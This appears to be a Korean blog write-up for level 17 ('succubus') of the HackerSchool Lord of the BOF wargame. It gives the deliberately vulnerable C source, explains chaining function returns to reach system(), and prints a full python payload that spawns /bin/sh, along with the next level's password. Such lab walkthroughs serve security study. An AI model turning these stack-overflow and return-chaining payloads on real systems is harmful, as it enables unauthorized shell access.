HackerSchool LOB Level 17
Hacking/LOB(RedHat)

HackerSchool LOB Level 17

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously 

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


// olleh!

system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

if(check != 1)

exit(0);


printf("welcome to the GYE!\n");

check = 2;

}


void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}


// check address

addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // stack destroyer

// 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


※  소스분석을 해보면 도,개,걸,윳,모 순서대로 호출하여 마지막 모에서 cmd 창을 띄우면 되는것같다.


페이로드를 짜보면 

buffer[40] sfp[4] [do] [gye] [gul] [yut] [mo] dummy[4] [&/bin/sh] [/bin/sh]



succubus 를 복사한 succubu1를 공격하여 코어파일을 만들어주고

gdb로 코어파일을 분석한다.



'/bin/sh' 의 주소는 0xbffffa98이다

페이로드는 ./succubus `python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf"+"/bin/sh"'`

 비밀번호는 here to stay 이다.

'Hacking > LOB(RedHat)' 카테고리의 다른 글

HackerSchool LOB Level 19  (0) 2015.10.02
HackerSchool LOB Level 18  (0) 2015.09.30
HackerSchool LOB Level 16  (0) 2015.08.29
HackerSchool LOB Level 15  (0) 2015.08.27
HackerSchool LOB Level 14  (0) 2015.08.10